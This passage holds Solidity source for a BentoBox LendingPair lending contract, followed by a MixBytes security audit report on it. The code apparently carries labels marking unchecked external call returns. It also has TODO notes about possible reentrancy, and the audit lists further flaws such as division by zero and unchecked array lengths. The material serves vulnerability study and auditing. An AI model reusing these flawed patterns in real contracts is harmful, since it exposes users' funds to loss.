amounts uint256 public totalCollateralAmount; TokenTotals public totalAsset; // The total assets belonging to the suppliers (including any borrowed amounts). TokenTotals public totalBorrow; // Total units of asset borrowed // totalSupply for ERC20 compatibility function totalSupply() public view returns(uint256) { return totalAsset.fraction; } // Exchange and interest rate tracking uint256 public exchangeRate; struct AccrueInfo { uint64 interestPerBlock; uint64 lastBlockAccrued; uint128 feesPendingAmount; } AccrueInfo public accrueInfo; // ERC20 'variables' function symbol() public view returns(string memory) { (bool success, bytes memory data) = address(asset).staticcall(abi.encodeWithSelector(0x95d89b41)); string memory assetSymbol = success && data.length > 0 ? abi.decode(data, (string)) : "???"; (success, data) = address(collateral).staticcall(abi.encodeWithSelector(0x95d89b41)); string memory collateralSymbol = success && data.length > 0 ? abi.decode(data, (string)) : "???"; return string(abi.encodePacked("bm", collateralSymbol, ">", assetSymbol, "-", oracle.symbol(oracleData))); } function name() public view returns(string memory) { (bool success, bytes memory data) = address(asset).staticcall(abi.encodeWithSelector(0x06fdde03)); string memory assetName = success && data.length > 0 ? abi.decode(data, (string)) : "???"; (success, data) = address(collateral).staticcall(abi.encodeWithSelector(0x06fdde03)); string memory collateralName = success && data.length > 0 ? abi.decode(data, (string)) : "???"; return string(abi.encodePacked("Bento Med Risk ", collateralName, ">", assetName, "-", oracle.symbol(oracleData))); } function decimals() public view returns (uint8) { (bool success, bytes memory data) = address(asset).staticcall(abi.encodeWithSelector(0x313ce567)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } event LogExchangeRate(uint256 rate); event LogAccrue(uint256 accruedAmount, uint256 feeAmount, uint256 rate, uint256 utilization); event LogAddCollateral(address indexed user, uint256 amount); event LogAddAsset(address indexed user, uint256 amount, uint256 fraction); event LogAddBorrow(address indexed user, uint256 amount, uint256 fraction); event LogRemoveCollateral(address indexed user, uint256 amount); event LogRemoveAsset(address indexed user, uint256 amount, uint256 fraction); event LogRemoveBorrow(address indexed user, uint256 amount, uint256 fraction); event LogFeeTo(address indexed newFeeTo); event LogDev(address indexed newDev); event LogWithdrawFees(); constructor(IBentoBox bentoBox_) public { bentoBox = bentoBox_; masterContract = LendingPair(this); dev = msg.sender; feeTo = msg.sender; emit LogDev(msg.sender); emit LogFeeTo(msg.sender); } // Settings for the Medium Risk LendingPair uint256 public constant CLOSED_COLLATERIZATION_RATE = 75000; // 75% uint256 public constant OPEN_COLLATERIZATION_RATE = 77000; // 77% uint256 public constant MINIMUM_TARGET_UTILIZATION = 7e17; // 70% uint256 public constant MAXIMUM_TARGET_UTILIZATION = 8e17; // 80% uint256 public constant STARTING_INTEREST_PER_BLOCK = 4566210045; // approx 1% APR uint256 public constant MINIMUM_INTEREST_PER_BLOCK = 1141552511; // approx 0.25% APR uint256 public constant MAXIMUM_INTEREST_PER_BLOCK = 4566210045000; // approx 1000% APR uint256 public constant INTEREST_ELASTICITY = 2000e36; // Half or double in 2000 blocks (approx 8 hours) uint256 public constant LIQUIDATION_MULTIPLIER = 112000; // add 12% // Fees uint256 public constant PROTOCOL_FEE = 10000; // 10% uint256 public constant DEV_FEE = 10000; // 10% of the PROTOCOL_FEE = 1% uint256 public constant BORROW_OPENING_FEE = 50; // 0.05% // Serves as the constructor, as clones can't have a regular constructor function init(bytes calldata data) public override { require(address(collateral) == address(0), "LendingPair: already initialized"); (collateral, asset, oracle, oracleData) = abi.decode(data, (IERC20, IERC20, IOracle, bytes)); accrueInfo.interestPerBlock = uint64(STARTING_INTEREST_PER_BLOCK); // 1% APR, with 1e18 being 100% updateExchangeRate(); } function getInitData(IERC20 collateral_, IERC20 asset_, IOracle oracle_, bytes calldata oracleData_) public pure returns(bytes memory data) { return abi.encode(collateral_, asset_, oracle_, oracleData_); } // Accrues the interest on the borrowed tokens and handles the accumulation of fees function accrue() public { AccrueInfo memory info = accrueInfo; // Number of blocks since accrue was called uint256 blocks = block.number - info.lastBlockAccrued; if (blocks == 0) {return;} info.lastBlockAccrued = uint64(block.number); uint256 extraAmount; uint256 feeAmount; TokenTotals memory _totalBorrow = totalBorrow; TokenTotals memory _totalAsset = totalAsset; if (_totalBorrow.amount > 0) { // Accrue interest extraAmount = uint256(_totalBorrow.amount).mul(info.interestPerBlock).mul(blocks) / 1e18; feeAmount = extraAmount.mul(PROTOCOL_FEE) / 1e5; // % of interest paid goes to fee _totalBorrow.amount = _totalBorrow.amount.add(extraAmount.to128()); totalBorrow = _totalBorrow; _totalAsset.amount = _totalAsset.amount.add(extraAmount.sub(feeAmount).to128()); totalAsset = _totalAsset; info.feesPendingAmount = info.feesPendingAmount.add(feeAmount.to128()); } if (_totalAsset.amount == 0) { if (info.interestPerBlock != STARTING_INTEREST_PER_BLOCK) { info.interestPerBlock = uint64(STARTING_INTEREST_PER_BLOCK); emit LogAccrue(extraAmount, feeAmount, STARTING_INTEREST_PER_BLOCK, 0); } accrueInfo = info; return; } // Update interest rate uint256 utilization = uint256(_totalBorrow.amount).mul(1e18) / _totalAsset.amount; uint256 newInterestPerBlock; if (utilization < MINIMUM_TARGET_UTILIZATION) { uint256 underFactor = MINIMUM_TARGET_UTILIZATION.sub(utilization).mul(1e18) / MINIMUM_TARGET_UTILIZATION; uint256 scale = INTEREST_ELASTICITY.add(underFactor.mul(underFactor).mul(blocks)); newInterestPerBlock = uint256(info.interestPerBlock).mul(INTEREST_ELASTICITY) / scale; if (newInterestPerBlock < MINIMUM_INTEREST_PER_BLOCK) {newInterestPerBlock = MINIMUM_INTEREST_PER_BLOCK;} // 0.25% APR minimum } else if (utilization > MAXIMUM_TARGET_UTILIZATION) { uint256 overFactor = utilization.sub(MAXIMUM_TARGET_UTILIZATION).mul(1e18) / uint256(1e18).sub(MAXIMUM_TARGET_UTILIZATION); uint256 scale = INTEREST_ELASTICITY.add(overFactor.mul(overFactor).mul(blocks)); newInterestPerBlock = uint256(info.interestPerBlock).mul(scale) / INTEREST_ELASTICITY; if (newInterestPerBlock > MAXIMUM_INTEREST_PER_BLOCK) {newInterestPerBlock = MAXIMUM_INTEREST_PER_BLOCK;} // 1000% APR maximum } else { emit LogAccrue(extraAmount, feeAmount, info.interestPerBlock, utilization); accrueInfo = info; return; } info.interestPerBlock = uint64(newInterestPerBlock); emit LogAccrue(extraAmount, feeAmount, newInterestPerBlock, utilization); accrueInfo = info; } // Checks if the user is solvent. // Has an option to check if the user is solvent in an open/closed liquidation case. function isSolvent(address user, bool open) public view returns (bool) { // accrue must have already been called! if (userBorrowFraction[user] == 0) return true; if (totalCollateralAmount == 0) return false; TokenTotals memory _totalBorrow = totalBorrow; return userCollateralAmount[user].mul(1e13).mul(open ? OPEN_COLLATERIZATION_RATE : CLOSED_COLLATERIZATION_RATE) >= (userBorrowFraction[user].mul(_totalBorrow.amount) / _totalBorrow.fraction).mul(exchangeRate); } function peekExchangeRate() public view returns (bool, uint256) { return oracle.peek(oracleData); } // Gets the exchange rate. How much collateral to buy 1e18 asset. function updateExchangeRate() public returns (uint256) { (bool success, uint256 rate) = oracle.get(oracleData); // TODO: How to deal with unsuccessful fetch if (success) { exchangeRate = rate; emit LogExchangeRate(rate); } return exchangeRate; } // Handles internal variable updates when collateral is deposited function _addCollateralAmount(address user, uint256 amount) private { // Adds this amount to user userCollateralAmount[user] = userCollateralAmount[user].add(amount); // Adds the amount deposited to the total of collateral totalCollateralAmount = totalCollateralAmount.add(amount); emit LogAddCollateral(msg.sender, amount); } // Handles internal variable updates when supply (the borrowable token) is deposited function _addAssetAmount(address user, uint256 amount) private { TokenTotals memory _totalAsset = totalAsset; // Calculates what amount of the pool the user gets for the amount deposited uint256 newFraction = _totalAsset.fraction == 0 ? amount : amount.mul(_totalAsset.fraction) / _totalAsset.amount; // Adds this amount to user balanceOf[user] = balanceOf[user].add(newFraction); // Adds this amount to the total of supply amounts _totalAsset.fraction = _totalAsset.fraction.add(newFraction.to128()); // Adds the amount deposited to the total of supply _totalAsset.amount = _totalAsset.amount.add(amount.to128()); totalAsset = _totalAsset; emit LogAddAsset(msg.sender, amount, newFraction); } // Handles internal variable updates when supply (the borrowable token) is borrowed function _addBorrowAmount(address user, uint256 amount) private { TokenTotals memory _totalBorrow = totalBorrow; // Calculates what amount of the borrowed funds the user gets for the amount borrowed uint256 newFraction = _totalBorrow.fraction == 0 ? amount : amount.mul(_totalBorrow.fraction) / _totalBorrow.amount; // Adds this amount to the user userBorrowFraction[user] = userBorrowFraction[user].add(newFraction); // Adds amount borrowed to the total amount borrowed _totalBorrow.fraction = _totalBorrow.fraction.add(newFraction.to128()); // Adds amount borrowed to the total amount borrowed _totalBorrow.amount = _totalBorrow.amount.add(amount.to128()); totalBorrow = _totalBorrow; emit LogAddBorrow(msg.sender, amount, newFraction); } // Handles internal variable updates when collateral is withdrawn and returns the amount of collateral withdrawn function _removeCollateralAmount(address user, uint256 amount) private { // Subtracts the amount from user userCollateralAmount[user] = userCollateralAmount[user].sub(amount); // Subtracts the amount from the total of collateral totalCollateralAmount = totalCollateralAmount.sub(amount); emit LogRemoveCollateral(msg.sender, amount); } // Handles internal variable updates when supply is withdrawn and returns the amount of supply withdrawn function _removeAssetFraction(address user, uint256 fraction) private returns (uint256 amount) { TokenTotals memory _totalAsset = totalAsset; // Subtracts the fraction from user balanceOf[user] = balanceOf[user].sub(fraction); // Calculates the amount of tokens to withdraw amount = fraction.mul(_totalAsset.amount) / _totalAsset.fraction; // Subtracts the calculated fraction from the total of supply _totalAsset.fraction = _totalAsset.fraction.sub(fraction.to128()); // Subtracts the amount from the total of supply amounts _totalAsset.amount = _totalAsset.amount.sub(amount.to128()); totalAsset = _totalAsset; emit LogRemoveAsset(msg.sender, amount, fraction); } // Handles internal variable updates when supply is repaid function _removeBorrowFraction(address user, uint256 fraction) private returns (uint256 amount) { TokenTotals memory _totalBorrow = totalBorrow; // Subtracts the fraction from user userBorrowFraction[user] = userBorrowFraction[user].sub(fraction); // Calculates the amount of tokens to repay amount = fraction.mul(_totalBorrow.amount) / _totalBorrow.fraction; // Subtracts the fraction from the total of amounts borrowed _totalBorrow.fraction = _totalBorrow.fraction.sub(fraction.to128()); // Subtracts the calculated amount from the total amount borrowed _totalBorrow.amount = _totalBorrow.amount.sub(amount.to128()); totalBorrow = _totalBorrow; emit LogRemoveBorrow(msg.sender, amount, fraction); } // Deposits an amount of collateral from the caller function addCollateral(uint256 amount) public payable { addCollateralTo(amount, msg.sender); } function addCollateralTo(uint256 amount, address to) public payable { _addCollateralAmount(to, amount); bentoBox.deposit{value: msg.value}(collateral, msg.sender, amount); } function addCollateralFromBento(uint256 amount) public { addCollateralFromBentoTo(amount, msg.sender); } function addCollateralFromBentoTo(uint256 amount, address to) public { _addCollateralAmount(to, amount); bentoBox.transferFrom(collateral, msg.sender, address(this), amount); } // Deposits an amount of supply (the borrowable token) from the caller function addAsset(uint256 amount) public payable { addAssetTo(amount, msg.sender); } function addAssetTo(uint256 amount, address to) public payable { // Accrue interest before calculating pool amounts in _addAssetAmount accrue(); _addAssetAmount(to, amount); bentoBox.deposit{value: msg.value}(asset, msg.sender, amount); } function addAssetFromBento(uint256 amount) public payable { addAssetFromBentoTo(amount, msg.sender); } function addAssetFromBentoTo(uint256 amount, address to) public payable { // Accrue interest before calculating pool amounts in _addAssetAmount accrue(); _addAssetAmount(to, amount); bentoBox.transferFrom(asset, msg.sender, address(this), amount); } // Withdraws a amount of collateral of the caller to the specified address function removeCollateral(uint256 amount, address to) public { accrue(); _removeCollateralAmount(msg.sender, amount); // Only allow withdrawing if user is solvent (in case of a closed liquidation) require(isSolvent(msg.sender, false), "LendingPair: user insolvent"); bentoBox.withdraw(collateral, to, amount); } function removeCollateralToBento(uint256 amount, address to) public { accrue(); _removeCollateralAmount(msg.sender, amount); // Only allow withdrawing if user is solvent (in case of a closed liquidation) require(isSolvent(msg.sender, false), "LendingPair: user insolvent"); bentoBox.transfer(collateral, to, amount); } // Withdraws a amount of supply (the borrowable token) of the caller to the specified address function removeAsset(uint256 fraction, address to) public { // Accrue interest before calculating pool amounts in _removeAssetFraction accrue(); uint256 amount = _removeAssetFraction(msg.sender, fraction); bentoBox.withdraw(asset, to, amount); } function removeAssetToBento(uint256 fraction, address to) public { // Accrue interest before calculating pool amounts in _removeAssetFraction accrue(); uint256 amount = _removeAssetFraction(msg.sender, fraction); bentoBox.transfer(asset, to, amount); } // Borrows the given amount from the supply to the specified address function borrow(uint256 amount, address to) public { accrue(); uint256 feeAmount = amount.mul(BORROW_OPENING_FEE) / 1e5; // A flat % fee is charged for any borrow _addBorrowAmount(msg.sender, amount.add(feeAmount)); totalAsset.amount = totalAsset.amount.add(feeAmount.to128()); bentoBox.withdraw(asset, to, amount); require(isSolvent(msg.sender, false), "LendingPair: user insolvent"); } function borrowToBento(uint256 amount, address to) public { accrue(); uint256 feeAmount = amount.mul(BORROW_OPENING_FEE) / 1e5; // A flat % fee is charged for any borrow _addBorrowAmount(msg.sender, amount.add(feeAmount)); totalAsset.amount = totalAsset.amount.add(feeAmount.to128()); bentoBox.transfer(asset, to, amount); require(isSolvent(msg.sender, false), "LendingPair: user insolvent"); } // Repays the given fraction function repay(uint256 fraction) public { repayFor(fraction, msg.sender); } function repayFor(uint256 fraction, address beneficiary) public { accrue(); uint256 amount = _removeBorrowFraction(beneficiary, fraction); bentoBox.deposit(asset, msg.sender, amount); } function repayFromBento(uint256 fraction) public { repayFromBentoTo(fraction, msg.sender); } function repayFromBentoTo(uint256 fraction, address beneficiary) public { accrue(); uint256 amount = _removeBorrowFraction(beneficiary, fraction); bentoBox.transferFrom(asset, msg.sender, address(this), amount); } // Handles shorting with an approved swapper function short(ISwapper swapper, uint256 assetAmount, uint256 minCollateralAmount) public { require(masterContract.swappers(swapper), "LendingPair: Invalid swapper"); accrue(); _addBorrowAmount(msg.sender, assetAmount); bentoBox.transferFrom(asset, address(this), address(swapper), assetAmount); // Swaps the borrowable asset for collateral // SWC-Unchecked Call Return Value: L429 swapper.swap(asset, collateral, assetAmount, minCollateralAmount); uint256 returnedCollateralAmount = bentoBox.skim(collateral); // TODO: Reentrancy issue? Should we take a before and after balance? require(returnedCollateralAmount >= minCollateralAmount, "LendingPair: not enough"); _addCollateralAmount(msg.sender, returnedCollateralAmount); require(isSolvent(msg.sender, false), "LendingPair: user insolvent"); } // Handles unwinding shorts with an approved swapper function unwind(ISwapper swapper, uint256 borrowFraction, uint256 maxAmountCollateral) public { require(masterContract.swappers(swapper), "LendingPair: Invalid swapper"); accrue(); bentoBox.transferFrom(collateral, address(this), address(swapper), maxAmountCollateral); uint256 borrowAmount = _removeBorrowFraction(msg.sender, borrowFraction); // Swaps the collateral back for the borrowal asset uint256 usedAmount = swapper.swapExact(collateral, asset, maxAmountCollateral, borrowAmount, address(this)); uint256 returnedAssetAmount = bentoBox.skim(asset); // TODO: Reentrancy issue? Should we take a before and after balance? require(returnedAssetAmount >= borrowAmount, "LendingPair: Not enough"); _removeCollateralAmount(msg.sender, maxAmountCollateral.sub(usedAmount)); require(isSolvent(msg.sender, false), "LendingPair: user insolvent"); } // Handles the liquidation of users' balances, once the users' amount of collateral is too low function liquidate(address[] calldata users, uint256[] calldata borrowFractions, address to, ISwapper swapper, bool open) public { accrue(); updateExchangeRate(); uint256 allCollateralAmount; uint256 allBorrowAmount; uint256 allBorrowFraction; TokenTotals memory _totalBorrow = totalBorrow; for (uint256 i = 0; i < users.length; i++) { address user = users[i]; if (!isSolvent(user, open)) { // Gets the user's amount of the total borrowed amount uint256 borrowFraction = borrowFractions[i]; // Calculates the user's amount borrowed uint256 borrowAmount = borrowFraction.mul(_totalBorrow.amount) / _totalBorrow.fraction; // Calculates the amount of collateral that's going to be swapped for the asset uint256 collateralAmount = borrowAmount.mul(LIQUIDATION_MULTIPLIER).mul(exchangeRate) / 1e23; // Removes the amount of collateral from the user's balance userCollateralAmount[user] = userCollateralAmount[user].sub(collateralAmount); // Removes the amount of user's borrowed tokens from the user userBorrowFraction[user] = userBorrowFraction[user].sub(borrowFraction); emit LogRemoveCollateral(user, collateralAmount); emit LogRemoveBorrow(user, borrowAmount, borrowFraction); // Keep totals allCollateralAmount = allCollateralAmount.add(collateralAmount); allBorrowAmount = allBorrowAmount.add(borrowAmount); allBorrowFraction = allBorrowFraction.add(borrowFraction); } } require(allBorrowAmount != 0, "LendingPair: all are solvent"); _totalBorrow.amount = _totalBorrow.amount.sub(allBorrowAmount.to128()); _totalBorrow.fraction = _totalBorrow.fraction.sub(allBorrowFraction.to128()); totalBorrow = _totalBorrow; totalCollateralAmount = totalCollateralAmount.sub(allCollateralAmount); if (!open) { // Closed liquidation using a pre-approved swapper for the benefit of the LPs require(masterContract.swappers(swapper), "LendingPair: Invalid swapper"); // Swaps the users' collateral for the borrowed asset bentoBox.transferFrom(collateral, address(this), address(swapper), allCollateralAmount); // SWC-Unchecked Call Return Value: L499 swapper.swap(collateral, asset, allCollateralAmount, allBorrowAmount); uint256 returnedAssetAmount = bentoBox.skim(asset); // TODO: Reentrancy issue? Should we take a before and after balance? uint256 extraAssetAmount = returnedAssetAmount.sub(allBorrowAmount); // The extra asset gets added to the pool uint256 feeAmount = extraAssetAmount.mul(PROTOCOL_FEE) / 1e5; // % of profit goes to fee accrueInfo.feesPendingAmount = accrueInfo.feesPendingAmount.add(feeAmount.to128()); totalAsset.amount = totalAsset.amount.add(extraAssetAmount.sub(feeAmount).to128()); emit LogAddAsset(address(0), extraAssetAmount, 0); } else if (address(swapper) == address(0)) { // Open liquidation directly using the caller's funds, without swapping using token transfers bentoBox.deposit(asset, msg.sender, allBorrowAmount); bentoBox.withdraw(collateral, to, allCollateralAmount); } else if (address(swapper) == address(1)) { // Open liquidation directly using the caller's funds, without swapping using funds in BentoBox bentoBox.transferFrom(asset, msg.sender, address(this), allBorrowAmount); bentoBox.transfer(collateral, to, allCollateralAmount); } else { // Swap using a swapper freely chosen by the caller // Open (flash) liquidation: get proceeds first and provide the borrow after bentoBox.transferFrom(collateral, address(this), address(swapper), allCollateralAmount); // SWC-Unchecked Call Return Value: L522 swapper.swap(collateral, asset, allCollateralAmount, allBorrowAmount); uint256 returnedAssetAmount = bentoBox.skim(asset); // TODO: Reentrancy issue? Should we take a before and after balance? uint256 extraAssetAmount = returnedAssetAmount.sub(allBorrowAmount); totalAsset.amount = totalAsset.amount.add(extraAssetAmount.to128()); emit LogAddAsset(address(0), extraAssetAmount, 0); } } function batch(bytes[] calldata calls, bool revertOnFail) external payable returns(bool[] memory, bytes[] memory) { bool[] memory successes = new bool[](calls.length); bytes[] memory results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, "LendingPair: Transaction failed"); successes[i] = success; results[i] = result; } return (successes, results); } // Withdraws the fees accumulated function withdrawFees() public { accrue(); address _feeTo = masterContract.feeTo(); address _dev = masterContract.dev(); uint256 feeAmount = accrueInfo.feesPendingAmount.sub(1); uint256 devFeeAmount = _dev == address(0) ? 0 : feeAmount.mul(DEV_FEE) / 1e5; accrueInfo.feesPendingAmount = 1; // Don't set it to 0 as that would increase the gas cost for the next accrue called by a user. bentoBox.withdraw(asset, _feeTo, feeAmount.sub(devFeeAmount)); if (devFeeAmount > 0) { bentoBox.withdraw(asset, _dev, devFeeAmount); } emit LogWithdrawFees(); } // MasterContract Only Admin functions function setSwapper(ISwapper swapper, bool enable) public onlyOwner { swappers[swapper] = enable; } function setFeeTo(address newFeeTo) public onlyOwner { feeTo = newFeeTo; emit LogFeeTo(newFeeTo); } function setDev(address newDev) public { require(msg.sender == dev, "LendingPair: Not dev"); dev = newDev; emit LogDev(newDev); } // Clone contract Admin functions function swipe(IERC20 token) public { require(msg.sender == masterContract.owner(), "LendingPair: caller is not owner"); if (address(token) == address(0)) { uint256 balanceETH = address(this).balance; if (balanceETH > 0) { (bool success,) = msg.sender.call{value: balanceETH}(new bytes(0)); require(success, "LendingPair: ETH transfer failed"); } } else if (address(token) != address(asset) && address(token) != address(collateral)) { uint256 balanceAmount = token.balanceOf(address(this)); if (balanceAmount > 0) { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, msg.sender, balanceAmount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "LendingPair: Transfer failed"); } } else { uint256 excessAmount = bentoBox.balanceOf(token, address(this)).sub(token == asset ? totalAsset.amount : totalCollateralAmount); bentoBox.transfer(token, msg.sender, excessAmount); } } }
SUSHISWAP BENTOBOX SMART CONTRACT AUDIT February 15, 2021 MixBytes()CONTENTS 1.INTRODUCTION...................................................................1 DISCLAIMER....................................................................1 PROJECT OVERVIEW..............................................................1 SECURITY ASSESSMENT METHODOLOGY...............................................2 EXECUTIVE SUMMARY.............................................................4 PROJECT DASHBOARD.............................................................4 2.FINDINGS REPORT................................................................7 2.1.CRITICAL..................................................................7 2.2.MAJOR.....................................................................7 MJR-1 Incorrect events parameter............................................7 2.3.WARNING...................................................................9 WRN-1 No validation of the address parameter value in contract constructor..9 WRN-2 Loss of tokens is possible when sent to a zero address...............10 WRN-3 It is possible to process a non-existing array element or skip an array element..............................................................11 WRN-4 Division by zero is possible.........................................12 2.4.COMMENTS.................................................................13 CMT-1 Using "magic" numbers................................................13 CMT-2 The function returns a public variable...............................14 CMT-3 The function returns a variable, but it is not processed.............15 CMT-4 Define symbol and name methods as external ..........................16 CMT-5 Remove unnecessary comment...........................................17 CMT-6 Forward success status...............................................18 3.ABOUT MIXBYTES................................................................19 1.INTRODUCTION 1.1DISCLAIMER The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Sushiswap . If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden. 1.2PROJECT OVERVIEW BentoBox is a full fledged lending platform which features: Isolated lending pairs. Anyone can create a pair, it's up to users which pairs they find safe enough. Risk is isolated to just that pair. Flexible oracles, both on-chain and off-chain. Liquid interest rates based on a specific target utilization, such as 75%. Contracts optimized for low gas. The supplied assets can be used for flash loans, providing extra revenue for suppliers. 11.3SECURITY ASSESSMENT METHODOLOGY At least 2 auditors are involved in the work on the audit who check the provided source code independently of each other in accordance with the methodology described below: 01"Blind" audit includes: >Manual code study >"Reverse" research and study of the architecture of the code based on the source code only Stage goal: Building an independent view of the project's architecture Finding logical flaws 02Checking the code against the checklist of known vulnerabilities includes: >Manual code check for vulnerabilities from the company's internal checklist >The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code Stage goal: Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flashloan attacks, etc.) 03Checking the logic, architecture of the security model for compliance with the desired model, which includes: >Detailed study of the project documentation >Examining contracts tests >Examining comments in code >Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit Stage goal: Detection of inconsistencies with the desired model 04Consolidation of the reports from all auditors into one common interim report document >Cross check: each auditor reviews the reports of the others >Discussion of the found issues by the auditors >Formation of a general (merged) report Stage goal: Re-check all the problems for relevance and correctness of the threat level Provide the client with an interim report 05Bug fixing & re-check. >Client fixes or comments on every issue >Upon completion of the bug fixing, the auditors double-check each fix and set the statuses with a link to the fix Stage goal: Preparation of the final code version with all the fixes 06Preparation of the final audit report and delivery to the customer. 2Findings discovered during the audit are classified as follows: FINDINGS SEVERITY BREAKDOWN Level Description Required action CriticalBugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any partyImmediate action to fix issue Major Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.Implement fix as soon as possible WarningBugs that can break the intended contract logic or expose it to DoS attacksTake into consideration and implement fix in certain period CommentOther issues and recommendations reported to/acknowledged by the teamTake into consideration Based on the feedback received from the Customer's team regarding the list of findings discovered by the Contractor, they are assigned the following statuses: Status Description Fixed Recommended fixes have been made to the project code and no longer affect its security. AcknowledgedThe project team is aware of this finding. Recommendations for this finding are planned to be resolved in the future. This finding does not affect the overall safety of the project. No issue Finding does not affect the overall safety of the project and does not violate the logic of its work. 31.4EXECUTIVE SUMMARY The inspected volume includes a set of smart contracts that are part of a new platform that allows users to deposit assets as collateral and borrow other assets against it. The developed functionality differs from the competitors' one. It adds new features for working with isolated credit pairs, flexible oracles and flash loans. 1.5PROJECT DASHBOARD Client Sushiswap Audit name Bentobox Initial version c2e150b16b8764ebfe2e1e6e267ae14e10738065 2a67dd809af4f9206cfd5bd5018c67167d2f4262 Final version 2a67dd809af4f9206cfd5bd5018c67167d2f4262 SLOC 892 Date 2020-12-21 - 2021-02-15 Auditors engaged 2 auditors 4FILES LISTING BentoBox.sol BentoBox.sol LendingPair.sol LendingPair.sol ERC20.sol ERC20.sol Ownable.sol Ownable.sol SushiSwapSwapper.sol SushiSwapSwapper.sol ChainlinkOracle.sol ChainlinkOracle.sol PeggedOracle.sol PeggedOracle.sol CompositeOracle.sol CompositeOracle.sol SimpleSLPTWAP0Oracle.sol SimpleSLPTWAP0Oracle.sol CompoundOracle.sol CompoundOracle.sol SimpleSLPTWAP1Oracle.sol SimpleSLPTWAP1Oracle.sol BoringMath.sol BoringMath.sol FINDINGS SUMMARY Level Amount Critical 0 Major 1 Warning 4 Comment 6 5CONCLUSION Smart contracts have been audited and several suspicious places have been spotted. During the audit no critical issues were found, one issue was marked as major because it could lead to some undesired behavior, also several warnings and comments were found and discussed with the client. After working on the reported findings all of them were resolved or acknowledged (if the problem was not critical). 62.FINDINGS REPORT 2.1CRITICAL Not Found 2.2MAJOR MJR-1 Incorrect events parameter File LendingPair.sol SeverityMajor Status Fixed at 2a67dd80 DESCRIPTION At the lines below: LendingPair.sol#L252 LendingPair.sol#L267 LendingPair.sol#L282 LendingPair.sol#L291 LendingPair.sol#L306 LendingPair.sol#L321 there are places where we have events which require an affected user address as a parameter, however in these cases msg.sender is wrongly used as a parameter. These functions accept special user parameter that should be used in events instead of msg.sender . The issue marked as major since it can fatally affect the user's side code that is based on events. RECOMMENDATION We suggest replacing msg.sender to user . CLIENT'S COMMENTARY Events and functions have changed a fair bit, review of every event and the parameters is now part of our internal audit checklist. —   auditor 7More parameters were added to events. 82.3WARNING WRN-1 No validation of the address parameter value in contract constructor File BentoBox.sol LendingPair.sol SushiSwapSwapper.sol SeverityWarning Status Acknowledged DESCRIPTION The variable is assigned the value of the constructor input parameter. But this parameter is not checked before this. If the value turns out to be zero, then it will be necessary to redeploy the contract, since there is no other functionality to set this variable. At line BentoBox.sol#L46 the WETH variable is set to the value of the WETH_ input parameter. At line LendingPair.sol#L123 the bentoBox variable is set to the value of the bentoBox__ input parameter. At line SushiSwapSwapper.sol#L17 the bentoBox variable is set to the value of the bentoBox_ input parameter. At line SushiSwapSwapper.sol#L18 the factory variable is set to the value of the factory_ input parameter. RECOMMENDATION In all the cases, it is necessary to add a check of the input parameter to zero before initializing the variables. CLIENT'S COMMENTARY This is by design. This check would only benefit the developer/deployer or anyone who clones this. We tend to only add checks that improve security but we are keen to discuss this practice. 9WRN-2 Loss of tokens is possible when sent to a zero address File ERC20.sol BentoBox.sol SeverityWarning Status Fixed at 2a67dd80 DESCRIPTION In smart contracts, tokens are transferred from one address to another and an approval is issued for such operations. When sending tokens to a zero address, they will no longer be used and they will be lost. Such actions are performed on the following lines: In ERC20.sol on lines 22, 31-33, 39. In BentoBox.sol on lines 107, 122, 126, 133, 161, 179. RECOMMENDATION Add address verification to zero. CLIENT'S COMMENTARY Agreed. We added these checks to Transfer and TransferFrom - while this may technically break from the ERC20 standard and we normally don't like lots of checks, sending tokens to 0 by accident is common enough to warrant the extra gas for the check. —   auditor Partialy fixed for ERC20 at 2a67dd80. The project uses ERC20.sol where these checks exist (except approve where it's not an issue). There is still no check at BentoBoxPlus.sol#L291. 1 0WRN-3 It is possible to process a non-existing array element or skip an array element File LendingPair.sol BentoBox.sol SeverityWarning Status Acknowledged DESCRIPTION At line LendingPair.sol#L467 we are working with the elements of the borrowFractions array in a loop. For each element of the users array, there must be an element of the borrowFractions array. But if an error is made when transferring data for these arrays, then it is possible to refer to a nonexistent element of the array, or vice versa, any element will not be processed. This will cause the liquidate() function to work incorrectly. At line BentoBox.sol#L122 we are working with the elements of the amounts array in a loop. For each element of the tos array, there must be an element of the amounts array. But if an error is made when transferring data for these arrays, then it is possible to refer to a nonexistent element of the array, or vice versa, any element will not be processed. This will cause the transferMultipleFrom() function to work incorrectly. RECOMMENDATION Add a condition so that the length of the users array were equal to the length of the borrowFractions array. CLIENT'S COMMENTARY This is by design, but we would love to discuss this and understand the best practices here and reasoning. In my testing Solidity throws an invalid opcode revert when you try to access elements that are out of bounds. —   auditor An error if the number of elements in the second array is greater than the number of elements in the first array will be unnoticed. It is good programming practice to conduct checks. Additional gas will not be consumed for this. 1 1WRN-4 Division by zero is possible File LendingPair.sol BentoHelper.sol ChainlinkOracle.sol CompoundOracle.sol SimpleSLPTWAP0Oracle.sol SimpleSLPTWAP1Oracle.sol SushiSwapSwapper.sol SeverityWarning Status Fixed at 2a67dd80 DESCRIPTION At the lines below division by zero is possible: LendingPair.sol#L227, the variable _totalBorrow.fraction can be equal to zero. LendingPair.sol#L259 the variable _totalAsset.amount can be equal to zero. LendingPair.sol#L274 the variable _totalBorrow.amount can be equal to zero. LendingPair.sol#L300 the variable _totalAsset.fraction can be equal to zero. LendingPair.sol#L315 the variable _totalBorrow.fraction can be equal to zero. LendingPair.sol#L469 the variable _totalBorrow.fraction can be equal to zero. BentoHelper.sol#L67 the variable info[i].totalAssetFraction can be equal to zero. BentoHelper.sol#L70 the variable info[i].totalBorrowFraction can be equal to zero. ChainlinkOracle.sol#L29 the variable priceC can be equal to zero. 